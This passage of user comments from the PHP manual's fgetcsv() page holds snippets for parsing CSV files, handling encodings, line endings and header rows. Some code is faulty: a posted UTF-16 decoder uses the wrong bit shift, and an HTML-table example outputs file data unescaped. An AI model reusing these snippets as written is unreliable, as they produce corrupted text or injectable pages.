)
)

<?php

# Open the File.
if (($handle = fopen("rawdata.csv", "r")) !== FALSE) {
    # Set the parent multidimensional array key to 0.
    $nn = 0;
    while (($data = fgetcsv($handle, 0, ",")) !== FALSE) {
        # Count the total keys in the row.
        $c = count($data);
        # Populate the multidimensional array.
        for ($x=0;$x<$c;$x++)
        {
            $csvarray[$nn][$x] = $data[$x];
        }
        $nn++;
    }
    # Close the File.
    fclose($handle);
}

// take the row'ified data and columnize the array
function columnizeArray($csvarray) {
    $array = array();
    foreach($csvarray as $key=>$value) {
        // reparse into useful array data.
        if ($key == 0) {
            foreach ($value AS $key2=>$value2) {
                $array[$key2] = array();
                $array[$key2][] = $value2;
            }
        }else if ($key > 0){
            foreach ($value as $key3=>$value3) {
                $array[$key3][] = $value3;
            }
        }else{
        }
    }
    return $array;
}
function groupColumns($array = null) {
    $array2 = array();
    foreach ($array as $k=>$v) {
        // procss each column
        // $k = column number
        // $v = array of rows
        if ($k == 0) {}else{ // working on column 2 or higher
            $array2[$v[0]] = array();
            foreach ($array[0] as $k1=>$v1) {
                if ($v1 > 0) { // ignore the column heading
                    // store the first column variable in as the key.
                    // Store the value associated with this item as the value.
                    $array2[$v[0]][$v1] = $v[$k1];
                }
            }
     }
    }
    return $array2;
}

$array2 = groupColumns(columnizeArray($csvarray));

print_r($array2);

?>
Xander 29-Sep-2010 01:42
I had a problem with multibytes. File was windows-1250, script was UTF-8 and set_locale wasn't work so I made a simple and safe workaround:

<?php
$fc = iconv('windows-1250', 'utf-8', file_get_contents($_FILES['csv']['tmp_name']));

            file_put_contents('tmp/import.tmp', $fc);
            $handle = fopen('tmp/import.tmp', "r");
            $rows = array();
            while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

                $rows[] = $data;

            }
            fclose($handle);
            unlink('tmp/import.tmp');
?>

I hope You will find it out usefull.
Sorry for my english.
cyrbil at hotmail dot fr 13-Jul-2010 02:30
fgetcsv() cannot properly deal with files that containt double "  ...
So I've made a function that does it properly
It's work pretty nice ;) (and fast)
Create the array in 2.1324736 sec for a csv with 100 000 values.

<?php
$stream=fopen('bdd.csv','r');
$test=stream_get_contents($stream);
// print the array of the csv file.
print_r(csvstring_to_array($test));

function csvstring_to_array($string, $CSV_SEPARATOR = ';',
 $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\r\n") {
$array1 = array();
$array2= array();
$array1=preg_split('#'.$CSV_LINEBREAK.'#',$string);
for($i=0;$i<count($array1);$i++){
for($o=0;$o<strlen($array1[$i]);$o++){
if(preg_match('#^'.$CSV_ENCLOSURE.'#',
substr($array1[$i],$o))){
if(!preg_match('#^"(([^'.
$CSV_ENCLOSURE.']*('.
$CSV_ENCLOSURE.$CSV_ENCLOSURE
.')?[^'.$CSV_ENCLOSURE.']*)*)'.
$CSV_ENCLOSURE.$CSV_SEPARATOR.'#i',substr($array1[$i],$o,
strlen($array1[$i])),$mot)){
$mot[1]=substr(substr($array1[$i],$o,strlen($array1[$i])),1,-1);
}$o++;$o++;
}
else{if(!preg_match('#^([^'.$CSV_ENCLOSURE.
$CSV_SEPARATOR.']*)'.$CSV_SEPARATOR.'#i',
substr($array1[$i],$o,strlen($array1[$i])),$mot)){
$mot[1]=substr($array1[$i],$o,strlen($array1[$i]));
}
}
$o=$o+strlen($mot[1]);
$array2[$i][]=str_replace($CSV_ENCLOSURE.$CSV_ENCLOSURE,
$CSV_ENCLOSURE,$mot[1]);
}
}
return $array2;
}
?>
do not spam aleske at live dot ru 08-Jul-2010 06:38
The PHP's CSV handling stuff is non-standard and contradicts with RFC4180, thus fgetcsv() cannot properly deal with files like this example from Wikipedia:

1997,Ford,E350,"ac, abs, moon",3000.00
1999,Chevy,"Venture ""Extended Edition""","",4900.00
1999,Chevy,"Venture ""Extended Edition, Very Large""","",5000.00
1996,Jeep,Grand Cherokee,"MUST SELL!
air, moon roof, loaded",4799.00

Please note: the enclosure symbol is doubled inside fields, field data can contain linebreaks, and there is no real escape symbol. Also, fputcsv() creates non-standard CSV files.

There is a quick and dirty RFC-compliant realization of CSV creation and parsing:

<?php
function array_to_csvstring($items, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
  $string = '';
  $o = array();

  foreach ($items as $item) {
    if (stripos($item, $CSV_ENCLOSURE) !== false) {
      $item = str_replace($CSV_ENCLOSURE, $CSV_ENCLOSURE . $CSV_ENCLOSURE, $item);
    }

    if ((stripos($item, $CSV_SEPARATOR) !== false)
     || (stripos($item, $CSV_ENCLOSURE) !== false)
     || (stripos($item, $CSV_LINEBREAK !== false))) {
      $item = $CSV_ENCLOSURE . $item . $CSV_ENCLOSURE;
    }

    $o[] = $item;
  }

  $string = implode($CSV_SEPARATOR, $o) . $CSV_LINEBREAK;

  return $string;
}

function csvstring_to_array(&$string, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
  $o = array();

  $cnt = strlen($string);
  $esc = false;
  $escesc = false;
  $num = 0;
  $i = 0;
  while ($i < $cnt) {
    $s = $string[$i];

    if ($s == $CSV_LINEBREAK) {
      if ($esc) {
        $o[$num] .= $s;
      } else {
        $i++;
        break;
      }
    } elseif ($s == $CSV_SEPARATOR) {
      if ($esc) {
        $o[$num] .= $s;
      } else {
        $num++;
        $esc = false;
        $escesc = false;
      }
    } elseif ($s == $CSV_ENCLOSURE) {
      if ($escesc) {
        $o[$num] .= $CSV_ENCLOSURE;
        $escesc = false;
      }

      if ($esc) {
        $esc = false;
        $escesc = true;
      } else {
        $esc = true;
        $escesc = false;
      }
    } else {
      if ($escesc) {
        $o[$num] .= $CSV_ENCLOSURE;
        $escesc = false;
      }

      $o[$num] .= $s;
    }

    $i++;
  }

//  $string = substr($string, $i);

  return $o;
}
?>

References:
RFC4180 - http://tools.ietf.org/html/rfc4180
Wikipedia - http://en.wikipedia.org/wiki/Comma-separated_values#Example

Also, there is complete solution of CSV handling at http://code.google.com/p/parsecsv-for-php/
carloshNOSPAM at 4sconsult dot com 18-Jun-2010 05:42
For my surprise this function using 5.3.2 on windows now when it reads an empty line it returns FALSE instead of an empty array as the previous versions. This affect code that do not check the result and tries something like this:

<?php
while(!feof($fp)){
 $line=fgetcsv($fp,4096,',','"');
 foreach($line as $key=>$value){
  // ....
 }
}
?>

when it was empty array this foreach pass ok but now with FALSE gives this error:

Invalid argument supplied for foreach()

Anyways, it is good idea to check what you getting before process further. This following line will fix the existing code.

if(!$line=fgetcsv($fp,4096,',','"') continue;
jonathangrice at yahoo dot com 15-Jun-2010 07:14
This is how to read a csv file into a multidimensional array.

 <?php
    # Open the File.
    if (($handle = fopen("file.csv", "r")) !== FALSE) {
        # Set the parent multidimensional array key to 0.
        $nn = 0;
        while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
            # Count the total keys in the row.
            $c = count($data);
            # Populate the multidimensional array.
            for ($x=0;$x<$c;$x++)
            {
                $csvarray[$nn][$x] = $data[$x];
            }
            $nn++;
        }
        # Close the File.
        fclose($handle);
    }
    # Print the contents of the multidimensional array.
    print_r($csvarray);
?>
marklark at mac dot com 27-May-2010 08:43
If you have a good idea of the max length of the line you're importing, it's a very good idea to enter the "optional" length parameter.

You may be very pleasantly surprised.  (In my recent experience(YMMV), from an hour down to 21 seconds!)
matthias dot isler at gmail dot com 29-Apr-2010 04:54
If you want to load some translations for your application, don't use csv files for that, even if it's easier to handle.

The following code snippet:

<?php
$lang = array();

$handle = fopen('en.csv', 'r');

while($row = fgetcsv($handle, 500, ';'))
{
    $lang[$row[0]] = $row[1];
}

fclose($handle);
?>

is about 400% slower than this code:

<?php
$lang = array();

$values = parse_ini_file('de.ini');

foreach($values as $key => $val)
{
    $lang[$key] = $val;
}
?>

That's the reason why you should allways use .ini files for translations...

http://php.net/parse_ini_file
Jspeed 11-Feb-2010 12:16
<?php ini_set('auto_detect_line_endings', true); ?>

--didn't work for me at first.  I had to also add:

<?php stream_get_line($handle, 4096, "\r"); ?>

With both statements it works like a dream.
kent at marketruler dot com 04-Feb-2010 10:18
Note that fgetcsv, at least in PHP 5.3 or previous, will NOT work with UTF-16 encoded files. Your options are to convert the entire file to ISO-8859-1 (or latin1), or convert line by line and convert each line into ISO-8859-1 encoding, then use str_getcsv (or compatible backwards-compatible implementation). If you need to read non-latin alphabets, probably best to convert to UTF-8.

See str_getcsv for a backwards-compatible version of it with PHP < 5.3, and see utf8_decode for a function written by Rasmus Andersson which provides utf16_decode. The modification I added was that the BOP appears at the top of the file, then not on subsequent lines. So you need to store the endian-ness, and then re-send it upon each subsequent line decoding. This modified version returns the endianness, if it's not available:

<?php
/**
 * Decode UTF-16 encoded strings.
 *
 * Can handle both BOM'ed data and un-BOM'ed data.
 * Assumes Big-Endian byte order if no BOM is available.
 * From: http://php.net/manual/en/function.utf8-decode.php
 *
 * @param   string  $str  UTF-16 encoded data to decode.
 * @return  string  UTF-8 / ISO encoded data.
 * @access  public
 * @version 0.1 / 2005-01-19
 * @author  Rasmus Andersson {@link http://rasmusandersson.se/}
 * @package Groupies
 */
function utf16_decode($str, &$be=null) {
    if (strlen($str) < 2) {
        return $str;
    }
    $c0 = ord($str{0});
    $c1 = ord($str{1});
    $start = 0;
    if ($c0 == 0xFE && $c1 == 0xFF) {
        $be = true;
        $start = 2;
    } else if ($c0 == 0xFF && $c1 == 0xFE) {
        $start = 2;
        $be = false;
    }
    if ($be === null) {
        $be = true;
    }
    $len = strlen($str);
    $newstr = '';
    for ($i = $start; $i < $len; $i += 2) {
        if ($be) {
            $val = ord($str{$i})   << 4;
            $val += ord($str{$i+1});
        } else {
            $val = ord($str{$i+1}) << 4;
            $val += ord($str{$i});
        }
        $newstr .= ($val == 0x228) ? "\n" : chr($val);
    }
    return $newstr;
}
?>

Trying the "setlocale" trick did not work for me, e.g.

<?php
setlocale(LC_CTYPE, "en.UTF16");
$line = fgetcsv($file, ...)
?>

But that's perhaps because my platform didn't support it. However, fgetcsv only supports single characters for the delimiter, etc. and complains if you pass in a UTF-16 version of said character, so I gave up on that rather quickly.

Hope this is helpful to someone out there.
thuejk at gmail dot com 11-Jan-2010 01:47
PHP's implementation does not follow RFC 4180 or Wikipedia's description, and does not work in all cases with Excel or OO Calc, as described in bug http://bugs.php.net/bug.php?id=50686 .

Here is an RFC 4180-complient implementation in PHP. This can parse more than 1MiB of CSV text per second, so while it obviously would be faster if written in C, it should be fast enough for most uses.

It is fairly strict, in that it does not allow whitespace before the start of a quoted item, such as 1,  "2" ,3 ,  in according to the standard, but it would be simple to make it laxer. It supports both \r\n and \n linebreaks, where the standard only supports \r\n. whitespace is just another data character, so '1, 2,3 ' becomes Array(1, " 2", "3 "). backslashes are also just another character, as backslashes have no special meaning in RFC 4180.

Posted on my blog, since this comment section doesn't allow posts long enough to hold it: http://thuejk.blogspot.com/2010/01/      phps-implementation-of-fgetcsv-and.html . (Link in two parts, since the comment system won't allow it in one as the line would be too long. PHP annoyance #324. Sometimes I wonder why I bother with PHP.)
jaimthorn at yahoo dot com 04-Dec-2009 02:38
I used fgetcsv to read pipe-delimited data files, and ran into the following quirk.

The data file contained data similar to this:

RECNUM|TEXT|COMMENT
1|hi!|some comment
2|"error!|another comment
3|where does this go?|yet another comment
4|the end!"|last comment

I read the file like this:

<?php
$row = fgetcsv( $fi, $length, '|' );
?>

This causes a problem on record 2: the quote immediately after the pipe causes the file to be read up to the following quote --in this case, in record 4.  Everything in between was stored in a single element of $row.

In this particular case it is easy to spot, but my script was processing thousands of records and it took me some time to figure out what went wrong.

The annoying thing is, that there doesn't seem to be an elegant fix.  You can't tell PHP not to use an enclosure --for example, like this:

<?php
$row = fgetcsv( $fi, $length, '|', '' );
?>

(Well, you can tell PHP that, but it doesn't work.)

So you'd have to resort to a solution where you use an extremely unlikely enclosure, but since the enclosure can only be one character long, it may be hard to find.

Alternatively (and IMNSHO: more elegantly), you can choose to read these files like this, instead:

<?php
$line = fgets( $fi, $length );
$row = explode( '|', $line );
?>

As it's more intuitive and resilient, I've decided to favor this 'construct' over fgetcsv from now on.
rt10k at yahoo dot com 08-Oct-2009 11:23
build a basic html table from a csv file

<style>
table { text-align: left; border-collapse: collapse; }
tr:hover { background: blue; color: white }
th, td { padding: 7px }
</style>
<?php

echo "<table>\n";

$row = 0;
$handle = fopen("mycsvfile.csv", "r");

while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
    if ($row == 0) {
        // this is the first line of the csv file
        // it usually contains titles of columns
        $num = count($data);
        echo "<thead>\n<tr>";
        $row++;
        for ($c=0; $c < $num; $c++) {
            echo "<th>" . $data[$c] . "</th>";
        }
        echo "</tr>\n</thead>\n\n<tbody>";
    } else {
        // this handles the rest of the lines of the csv file
        $num = count($data);
        echo "<tr>";
        $row++;
        for ($c=0; $c < $num; $c++) {
            echo "<td>" . $data[$c] . "</td>";
        }
        echo "</tr>\n";
    }
}
fclose($handle);

echo "</tbody>\n</table>";

?>
jaimthorn at yahoo dot com 31-Jan-2009 02:13
Currently, I'm working on a script that takes data exported from one database and converts it so that it can be imported in another.  I have been given a bunch of CSV files containing data to make the translation possible --actually, the values are semi-colon separated, not comma-separated.

The following script reads a CSV file with field names on the first line (for an example, see below the script), and turns it into a hash table where the key is one of the fields.

<?php
define('ON_COLLISION_OVERWRITE', 1);
define('ON_COLLISION_SKIP'     , 2);
define('ON_COLLISION_ABORT'    , 3);

/**
 *  Reads a CSV file and stores it as a lookup table, implemented as a PHP hash table.
 *
 *  @param  string  $csv_file       the CSV file to read.
 *  @param  string  $sep_input      the character that is used in the CSV file as field separator.
 *  @param  string  $sep_index      the character that separates the fields used to construct the hash table's index.
 *  @param  array   $index_by       the array containing the columns to index the lookup table by, and the function to pre-process those columns with.
 *  @param  integer $on_collision       a constant that determines what to do when an index is already in use.
 *  @param  integer $rec_len        the maximum length of a record in the input file.
 *  @return mixed                   an error number or the resulting hash table.
 */
function read_lookup_table_from_csv( $csv_file
                                  , $separator_input = ';'
                                  , $separator_index = '|'
                                  , $index_by        = array(0 => '')
                                  , $on_collision    = ON_COLLISION_ABORT
                                  , $rec_len         = 1024
                                  )
{
   $handle = fopen($csv_file, 'r');
   if($handle == null || ($data = fgetcsv($handle, $rec_len, $separator_input)) === false)
   {
       // Couldn't open/read from CSV file.
       return -1;
   }

   $names = array();
   foreach($data as $field)
   {
       $names[] = trim($field);
   }

   $indexes = array();
   foreach($index_by as $index_in => $function)
   {
       if(is_int($index_in))
       {
           if($index_in < 0 || $index_in > count($data))
           {
               // Index out of bounds.
               fclose($handle);
               return -2;
           }

           $index_out = $index_in;
       }
       else
       {
           // If a column that is used as part of the key to the hash table is supplied
           // as a name rather than as an integer, then determine that named column's
           // integer index in the $names array, because the integer index is used, below.
           $get_index = array_keys($names, $index_in);
           $index_out = $get_index[0];

           if(is_null($index_out))
           {
               // A column name was given (as opposed to an integer index), but the
               // name was not found in the first row that was read from the CSV file.
               fclose($handle);
               return -3;
           }
       }

       $indexes[$index_out] = $function;
   }

   if(count($indexes) == 0)
   {
       // No columns were supplied to index by.
       fclose($handle);
       return -4;
   }

   $retval = array();
   while(($data = fgetcsv($handle, $rec_len, $separator_input)) !== false)
   {
       $index_by = '';
       foreach($indexes as $index => $function)
       {
           $index_by .= ($function ? $function($data[$index]) : $data[$index]) . $separator_index;
       }
       $index_by = substr($index_by, 0, -1);

       if(isset($retval[$index_by]))
       {
           switch($on_collision)
           {
               case ON_COLLISION_OVERWRITE     : $retval[$index_by] = array_combine($names, $data);
               case ON_COLLISION_SKIP          : break;
               case ON_COLLISION_ABORT         : return -5;
           }
       }
       else
       {
           $retval[$index_by] = array_combine($names, $data);
       }
   }
   fclose($handle);

   return $retval;
}
?>

Assume the CSV file DaysOfWeek.csv contains this:

DayNo;DayName;DayAbbr
0;Sunday;Sun
1;Monday;Mon
2;Tuesday;Tue
3;Wednesday;Wed
4;Thursday;Thu
5;Friday;Fri
6;Saturday;Sat

(Reproduced in full as a service to you, dear reader, so you can more easily test the script if you wish. :-)

Now,

<?php
$days = read_lookup_table_from_csv('DaysOfWeek.csv');
$days = read_lookup_table_from_csv('DaysOfWeek.csv', 0);
$days = read_lookup_table_from_csv('DaysOfWeek.csv', 'DayNo');
?>

will all read the file, and index it using the contents of the zero'th column as an index.

<?php
echo 'The name of day #3 is ', $days[3]['DayName'];
?>

Alternatively, you can use the function like this

<?php
$days = read_lookup_table_from_csv('DaysOfWeek.csv', 'DayName');
echo 'The abbreviation of Friday is ', $days['Friday']['DayAbbr'];
?>

or like this

<?php
$days = read_lookup_table_from_csv('DaysOfWeek.csv', 'DayAbbr');
echo 'The full name of Fri is ', $days['Fri']['DayName'];
?>

Typically, of course, the first index to $days will be a variable rather than a literal/constant, allowing for easy translation of one value to another.

[EDIT BY danbrown AT php DOT net: Updated by the original poster on 2009-03-06 to fix two typos.]
james dot ellis at gmail dot com 23-Nov-2008 10:19
If you need to set auto_detect_line_endings to deal with Mac line endings, it may seem obvious but remember it should be set before fopen, not after:

This will work:
<?php
ini_set('auto_detect_line_endings',TRUE);
$handle = fopen('/path/to/file','r');
while ( ($data = fgetcsv($handle) ) !== FALSE ) {
//process
}
ini_set('auto_detect_line_endings',FALSE);
?>

This won't, you will still get concatenated fields at the new line position:
<?php
$handle = fopen('/path/to/file','r');
ini_set('auto_detect_line_endings',TRUE);
while ( ($data = fgetcsv($handle) ) !== FALSE ) {
//process
}
ini_set('auto_detect_line_endings',FALSE);
?>
michael dot martinek at gmail dot com 09-Oct-2008 09:12
Here's something I put together this morning. It allows you to read rows from your CSV and get values based on the name of the column. This works great when your header columns are not always in the same order; like when you're processing many feeds from different customers. Also makes for cleaner, easier to manage code.

So if your feed looks like this:

product_id,category_name,price,brand_name, sku_isbn_upc,image_url,landing_url,title,description
123,Test Category,12.50,No Brand,0,http://www.example.com, http://www.example.com/landing.php, Some Title,Some Description

You can do:
<?php
while ($o->getNext())
{
   $dPrice = $o->getPrice();
   $nProductID = $o->getProductID();
   $sBrandName = $o->getBrandName();
}
?>

If you have any questions or comments regarding this class, they can be directed to michael.martinek@gmail.com as I probably won't be checking back here.

<?php
    define('C_PPCSV_HEADER_RAW',        0);
    define('C_PPCSV_HEADER_NICE',        1);

    class PaperPear_CSVParser
    {
        private $m_saHeader = array();
        private $m_sFileName = '';
        private $m_fp = false;
        private $m_naHeaderMap = array();
        private $m_saValues = array();

        function __construct($sFileName)
        {
            //quick and dirty opening and processing.. you may wish to clean this up
            if ($this->m_fp = fopen($sFileName, 'r'))
            {
                $this->processHeader();
            }
        }

          function __call($sMethodName, $saArgs)
        {
            //check to see if this is a set() or get() request, and extract the name
            if (preg_match("/[sg]et(.*)/", $sMethodName, $saFound))
            {
                //convert the name portion of the [gs]et to uppercase for header checking
                $sName = strtoupper($saFound[1]);

                //see if the entry exists in our named header-> index mapping
                  if (array_key_exists($sName, $this->m_naHeaderMap))
                  {
                      //it does.. so consult the header map for which index this header controls
                      $nIndex = $this->m_naHeaderMap[$sName];
                      if ($sMethodName{0} == 'g')
                      {
                          //return the value stored in the index associated with this name
                             return $this->m_saValues[$nIndex];
                      }
                      else
                      {
                          //set the valuw
                          $this->m_saValues[$nIndex] = $saArgs[0];
                          return true;
                      }
                  }
            }

            //nothing we control so bail out with a false
              return false;
          }

          //get a nicely formatted header name. This will take product_id and make
          //it PRODUCTID in the header map. So now you won't need to worry about whether you need
          //to do a getProductID, or getproductid, or getProductId.. all will work.
        public static function GetNiceHeaderName($sName)
        {
            return strtoupper(preg_replace('/[^A-Za-z0-9]/', '', $sName));
        }

        //process the header entry so we can map our named header fields to a numerical index, which
        //we'll use when we use fgetcsv().
        private function processHeader()
        {
            $sLine = fgets($this->m_fp);
                        //you'll want to make this configurable
            $saFields = split(",", $sLine);

            $nIndex = 0;
            foreach ($saFields as $sField)
            {
                //get the nice name to use for "get" and "set".
                $sField = trim($sField);

                $sNiceName = PaperPear_CSVParser::GetNiceHeaderName($sField);

                //track correlation of raw -> nice name so we don't have to do on-the-fly nice name checks
                $this->m_saHeader[$nIndex] = array(C_PPCSV_HEADER_RAW => $sField, C_PPCSV_HEADER_NICE => $sNiceName);
                $this->m_naHeaderMap[$sNiceName] = $nIndex;
                $nIndex++;
            }
        }

        //read the next CSV entry
        public function getNext()
        {
            //this is a basic read, you will likely want to change this to accomodate what
            //you are using for CSV parameters (tabs, encapsulation, etc).
            if (($saValues = fgetcsv($this->m_fp)) !== false)
            {
                $this->m_saValues = $saValues;
                return true;
            }
            return false;
        }
    }

    //quick example of usage
    $o = new PaperPear_CSVParser('F:\foo.csv');
    while ($o->getNext())
    {
        echo "Price=" . $o->getPrice() . "\r\n";
    }

?>
Dave 31-Jul-2008 05:03
If you want to get your CSV rows (in this case a file posted from a form) into one big array, you can use this code.  You may have to play around with the ord() and explode separators depending on your line endings.  You can change to the commented out explode to use " delimiter.

<?php

if( $_FILES['file']['tmp_name'] )
{
   $csv_rows=Array();
   $csv="";
   $handle = fopen($_FILES['file']['tmp_name'], "r");

   //load char by char, to replace line endings
   while($data = fgetc($handle))
   {
      if(ord($data)==13)
      {
        $csv.="\r\n";
      }
      else
      {
        $csv.=$data;
      }
    }
    fclose($handle);

    $csv_lines=explode("\r\n", $csv);

    foreach($csv_lines as $line)
    {
      $csv_rows[]=explode(",", $line);
      //or ltrim(rtrim(explode('","', $line),'"'),'"') for delimited fields
    }
}

?>
skirkendall at NOSPAM dot dsl-only dot net 30-Apr-2008 06:55
The array_flip() function is handy for converting column names to column numbers.  Assuming the first row contains column names, you can simply read it via fgetcsv(); this will give you a number-indexed array of column names.  Applying array_flip() converts that into a name-indexed array of column numbers.

The following example does this, and assumes that two of the columns are named "animal" and "sound" but does not make any assumption about where those columns are.

<?php
$fp = fopen($url, "r");
$names = array_flip(fgetcsv($fp, 1000));
while (($values = fgetcsv($fp, 1000)) !== FALSE) {
    print "The ".$values[$names["animal"]]." says ".$values[$names["sound"]].".\n";
}
fclose($fp);
?>
Tim Henderson 04-Oct-2007 06:40
Only problem with fgetcsv(), at least in PHP 4.x -- any stray slash in the data that happens to come before a double-quote delimiter will break it -- ie, cause the field delimiter to be escaped. I can't find a direct way to deal with it, since fgetcsv() doesn't give you a chance to manipulate the line before it reads it and parses it...I've had to change all occurrences of '\"' to '" in the file first before feeding ot to fgetcsv(). Otherwise this is perfect for that Microsoft-CSV formula, deals gracefully with all the issues.
marcus at synchromedia dot co dot uk 03-Oct-2007 09:44
This is a minor fix to mortanon@gmail.com's CSVIterator. The original version would die if the last line of a file did not end in a line break and you called valid() inside the iterator loop because the file would have already been closed and thus feof() would have an invalid file pointer param.

<?php
/**
* @author mortanon@gmail.com
* @link http://uk.php.net/manual/en/function.fgetcsv.php
*/
class CsvIterator implements Iterator {
    const ROW_SIZE = 4096;
    /**
    * The pointer to the cvs file.
    * @var resource
    * @access private
    */
    private $filePointer = NULL;
    /**
    * The current element, which will
    * be returned on each iteration.
    * @var array
    * @access private
    */
    private $currentElement = NULL;
    /**
    * The row counter.
    * @var int
    * @access private
    */
    private $rowCounter = NULL;
    /**
    * The delimiter for the csv file.
    * @var str
    * @access private
    */
    private $delimiter = NULL;

    /**
    * This is the constructor.It try to open the csv file.The method throws an exception
    * on failure.
    *
    * @access public
    * @param str $file The csv file.
    * @param str $delimiter The delimiter.
    *
    * @throws Exception
    */
    public function __construct($file, $delimiter=',') {
        try {
            $this->filePointer = fopen($file, 'r');
            $this->delimiter = $delimiter;
        }
        catch (Exception $e) {
            throw new Exception('The file "'.$file.'" cannot be read.');
        }
    }

    /**
    * This method resets the file pointer.
    *
    * @access public
    */
    public function rewind() {
        $this->rowCounter = 0;
        rewind($this->filePointer);
    }

    /**
    * This method returns the current csv row as a 2 dimensional array
    *
    * @access public
    * @return array The current csv row as a 2 dimensional array
    */
    public function current() {
        $this->currentElement = fgetcsv($this->filePointer, self::ROW_SIZE, $this->delimiter);
        $this->rowCounter++;
        return $this->currentElement;
    }

    /**
    * This method returns the current row number.
    *
    * @access public
    * @return int The current row number
    */
    public function key() {
        return $this->rowCounter;
    }

    /**
    * This method checks if the end of file is reached.
    *
    * @access public
    * @return boolean Returns true on EOF reached, false otherwise.
    */
    public function next() {
        if (is_resource($this->filePointer)) {
            return !feof($this->filePointer);
        }
        return false;
    }

    /**
    * This method checks if the next row is a valid row.
    *
    * @access public
    * @return boolean If the next row is a valid row.
    */
    public function valid() {
        if (!$this->next()) {
            if (is_resource($this->filePointer)) {
                fclose($this->filePointer);
            }
            return false;
        }
        return true;
    }
}
?>
daevid at daevid dot com 26-Sep-2007 12:39
A much simpler way to map the heading/column names to the elements on each line. It also doesn't fill up one big array which could cause you to run out of memory on large datasets. This loads one at a time so you can process/insert to db/etc...

<?php
$handle = fopen('somefile.csv', 'r');
if ($handle)
{
    set_time_limit(0);

    //the top line is the field names
    $fields = fgetcsv($handle, 4096, ',');

    //loop through one row at a time
    while (($data = fgetcsv($handle, 4096, ',')) !== FALSE)
    {
        $data = array_combine($fields, $data);
    }

    fclose($handle);
}
?>
jszatmary at hotmail dot com 21-Aug-2007 07:06
This function appears to assume that \" is an escaped quote - similar to "" - which may lead to incorrect results while reading some files. Found while running under PHP 5.1.6.
e at osterman dot com 13-Jun-2007 02:39
A 5.2 way to lazily parse a single CSV line

<?php
function parseCSV($str, $delimiter = ',', $enclosure = '"', $len = 4096)
{
  $fh = fopen('php://memory', 'rw');
  fwrite($fh, $str);
  rewind($fh);
  $result = fgetcsv( $fh, $len, $delimiter, $enclosure );
  fclose($fh);
  return $result;
}
?>
D Steer 11-Jun-2007 07:32
Here is a simple to include the field names in the array. Altough this is very simple, it does the job fantastically

<?php

print_r(buildStock('stock.csv'));

function buildStock($File) {
        $handle = fopen($File, "r");
        $fields = fgetcsv($handle, 1000, ",");

        while($data = fgetcsv($handle, 1000, ",")) {
            $detail[] = $data;
        }

        $x = 0;
        $y = 0;

        foreach($detail as $i) {
            foreach($fields as $z) {
                $stock[$x][$z] = $i[$y];
                $y++;
            }
            $y = 0;
            $x++;
        }
        return $stock;
    }
?>
r at smagoo dot ch 11-Apr-2007 07:00
If you had a problem with fgetcsv and multibyte characters, you have to set the correct local setting:

<?php
setlocale(LC_ALL, 'en_US.UTF-8');
?>

Change it to your local settings and/or charset.
Mr N. 05-Jan-2007 01:23
There is still a bug with column headings ( "false" != false )
<?php
    function parse_csv_file($file, $columnheadings = false, $delimiter = ',', $enclosure = "\"") {

       $row = 1;
       $rows = array();
       $handle = fopen($file, 'r');

       while (($data = fgetcsv($handle, 1000, $delimiter, $enclosure )) !== FALSE) {

           if (!($columnheadings == false) && ($row == 1)) {
               $headingTexts = $data;
           } elseif (!($columnheadings == false)) {
               foreach ($data as $key => $value) {
                   unset($data[$key]);
                   $data[$headingTexts[$key]] = $value;
               }
               $rows[] = $data;
           } else {
               $rows[] = $data;
           }
           $row++;
       }

       fclose($handle);
       return $rows;
    }
?>
stinkyj at gmail dot com 02-Aug-2006 07:15
the enclosure param defaulting to " and giving a warning if it's an empty string makes this function nearly worthless. csv files do not always have the fields enclosed, and in those cases it doesn't work.
myrddin at myrddin dot myrddin 18-Jul-2006 09:14
Here is a OOP based importer similar to the one posted earlier. However, this is slightly more flexible in that you can import huge files without running out of memory, you just have to use a limit on the get() method

Sample usage for small files:-
-------------------------------------
<?php
$importer = new CsvImporter("small.txt",true);
$data = $importer->get();
print_r($data);
?>

Sample usage for large files:-
-------------------------------------
<?php
$importer = new CsvImporter("large.txt",true);
while($data = $importer->get(2000))
{
print_r($data);
}
?>

And heres the class:-
-------------------------------------
<?php
class CsvImporter
{
    private $fp;
    private $parse_header;
    private $header;
    private $delimiter;
    private $length;
    //--------------------------------------------------------------------
    function __construct($file_name, $parse_header=false, $delimiter="\t", $length=8000)
    {
        $this->fp = fopen($file_name, "r");
        $this->parse_header = $parse_header;
        $this->delimiter = $delimiter;
        $this->length = $length;
        $this->lines = $lines;

        if ($this->parse_header)
        {
           $this->header = fgetcsv($this->fp, $this->length, $this->delimiter);
        }

    }
    //--------------------------------------------------------------------
    function __destruct()
    {
        if ($this->fp)
        {
            fclose($this->fp);
        }
    }
    //--------------------------------------------------------------------
    function get($max_lines=0)
    {
        //if $max_lines is set to 0, then get all the data

        $data = array();

        if ($max_lines > 0)
            $line_count = 0;
        else
            $line_count = -1; // so loop limit is ignored

        while ($line_count < $max_lines && ($row = fgetcsv($this->fp, $this->length, $this->delimiter)) !== FALSE)
        {
            if ($this->parse_header)
            {
                foreach ($this->header as $i => $heading_i)
                {
                    $row_new[$heading_i] = $row[$i];
                }
                $data[] = $row_new;
            }
            else
            {
                $data[] = $row;
            }

            if ($max_lines > 0)
                $line_count++;
        }
        return $data;
    }
    //--------------------------------------------------------------------

}
?>
jon at jonhassall dot com 25-May-2006 09:54
I modified the code for my own purposes, to return an array with named keys for each field. I tried various alternatives, and this seems to work well with exported Excel data.

<?php
//Move through a CSV file, and output an associative array for each line
ini_set("auto_detect_line_endings", 1);
$current_row = 1;
$handle = fopen("testdatasource.csv", "r");
while ( ($data = fgetcsv($handle, 10000, ",") ) !== FALSE )
{
    $number_of_fields = count($data);
    if ($current_row == 1)
    {
    //Header line
        for ($c=0; $c < $number_of_fields; $c++)
        {
            $header_array[$c] = $data[$c];
        }
    }
    else
    {
    //Data line
        for ($c=0; $c < $number_of_fields; $c++)
        {
            $data_array[$header_array[$c]] = $data[$c];
        }
        print_r($data_array);
    }
    $current_row++;
}
fclose($handle);
?>

Jon Hassall
simone.sanfratello at tiscali dot it 17-Mar-2006 06:30
to get an array with data from the MS Excel csv format (separated by ; and with string wich contains ; or " optionally delimited by " )

function getcsvxls($buffer)
{
    $buffer = str_replace('""', '"', $buffer);
    $n = strlen($buffer);
